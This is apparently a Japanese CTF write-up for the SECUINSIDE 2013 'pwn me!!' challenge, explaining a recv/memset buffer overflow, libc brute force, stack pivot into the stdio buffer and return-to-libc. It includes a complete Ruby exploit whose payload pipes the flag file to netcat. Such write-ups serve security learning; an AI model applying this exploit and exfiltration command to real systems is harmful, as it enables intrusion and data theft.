Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

SECUINSIDE 2013 pwn me!! (pwn750)

下準備

pwnme: ELF 32-bit LSB  shared object
Intel 80386
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.24
BuildID[sha1]=4353f2c67b27a8adfc0106faaee7d94ef52d06cf
not stripped
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No  0       6   pwnme

方針

この問題はfork-server型の問題で,バイナリ自身がネットワーク接続などをする.つまり再起動するまでいろいろアドレスが変わらないという着眼点が一つある.しかしPIEということもあり,少し厄介ではあるが,実は自明なBuffer Overflowが存在する.以下の2つはmain関数の処理である.

# memset(0xffffd5f0, 0, 0x400)
   0x56555ce5 <main+457>:       mov    DWORD PTR [esp+0x8],0x400
   0x56555ced <main+465>:       mov    DWORD PTR [esp+0x4],0x0
   0x56555cf5 <main+473>:       lea    eax,[esp+0x30]
   0x56555cf9 <main+477>:       mov    DWORD PTR [esp],eax
=> 0x56555cfc <main+480>:       call   0xf7f35af0
# recv(fd, 0xffffd5f0, 0x410, 0)
   0x56555d0e <main+498>:       mov    DWORD PTR [esp+0x8],0x410
   0x56555d16 <main+506>:       lea    edx,[esp+0x30]
   0x56555d1a <main+510>:       mov    DWORD PTR [esp+0x4],edx
   0x56555d1e <main+514>:       mov    DWORD PTR [esp],eax
=> 0x56555d21 <main+517>:       call   0xf7ef7630 <recv>

上記のmemsetとrecvの呼び出し引数の違いによりBOFが起こることがわかる.省略するが試すと,このBOFした内の8byteでebpとretaddrを上書きすることができる.
だが,8byteでは何もすることが出来ないので,stack pivotでespをずらす必要がある
32bitPIEバイナリの共有ライブラリのランダム幅は小さいのでfork-server型においてはブルートフォースで求められそうだ.そこでreturn to libcの方針を立てる.
少し話を戻すとstack pivotでずらす先が決まっていない.ここでプロは,この問題には無くても良いようなサーバ側でprintfする処理が噛ませてあることに目がいくらしい.printf内では出力する文字列のバッファがあるのではないか,それをstack pivot先として使えば良いのではないかと考える.そこで

b *write

としてwriteが呼ばれるときに止めてスタックの値を見てやると,0xf7fd7000というところに入っていることがわかる.

0000| 0xffffcfbc --> 0xf7e7a251 (<_IO_file_write+65>:   test   eax,eax)
0004| 0xffffcfc0 --> 0x1
0008| 0xffffcfc4 --> 0xf7fd7000 ("DEBUG : got connection from 127.0.0.1\n")

このアドレスはどういう領域なのか見てみると

0xf7e0c000 0xf7fb1000 r-xp      /lib32/libc-2.19.so
0xf7fb1000 0xf7fb3000 r--p      /lib32/libc-2.19.so
0xf7fb3000 0xf7fb4000 rw-p      /lib32/libc-2.19.so
0xf7fb4000 0xf7fb8000 rw-p      mapped
0xf7fd7000 0xf7fd9000 rw-p      mapped <- ここ
0xf7fd9000 0xf7fdb000 r--p      [vvar]
0xf7fdb000 0xf7fdc000 r-xp      [vdso]
0xf7fdc000 0xf7ffc000 r-xp      /lib32/ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p      /lib32/ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p      /lib32/ld-2.19.so
0xfffdd000 0xffffe000 rw-p      [stack]

謎の書き込み権限有りのmappedされた領域であることがわかる.さらにこのアドレスはlibcのベースアドレスからオフセットで求めることが可能である.
最後に,シェルを単純に起動してもfork-server型なので意味がない.そこでフラグをcatして,それをncに流すということをさせる.ここで命令の末尾に";"を入れておくことで";"以降は失敗するだけなので変な文字列が入っていても気にしないで良い.

方針手順まとめ

  1. ブルートフォースによりlibcのベースアドレスを決めて,各種アドレス計算
  2. BOFによりstack pivotで出力バッファにずらす
  3. return to libcのコードを配置して実行する

結果

以下にexploit.rbとフラグ入手に必要な前処理を示す

nc -l -p 12345
# coding: utf-8
require 'pwnlib.rb'

def bfa(addr)

  PwnTube.open("localhost", 8181) do |tube|

    libc_base_addr = addr
    system_addr = libc_base_addr + 0x3fe70
    buf_addr = libc_base_addr + 0x1cb000 + 0x300
    cmd_addr = buf_addr + 0x10
    leave_ret_adr = libc_base_addr + 0x00128e63

    puts "[+] check 0x%x" % libc_base_addr

    payload =  ""
    payload << "A" * 0x2fc
    payload << p32(0xdeadbeef)
    payload << p32(system_addr)
    payload << p32(0xdeadbeef)
    payload << p32(cmd_addr)
    payload << "cat flag | nc localhost 12345;"
    payload = payload.ljust(0x408, "B")
    payload << p32(buf_addr)
    payload << p32(leave_ret_adr)

    puts tube.recv_until("what is your name? ")
    tube.send("#{payload}\n")

  end
end

256.times do |i|
  bfa(0xf7500000 | (i * 0x1000))
end

参考文献

感想

I/Oバッファを使うってとこ,新鮮で面白い.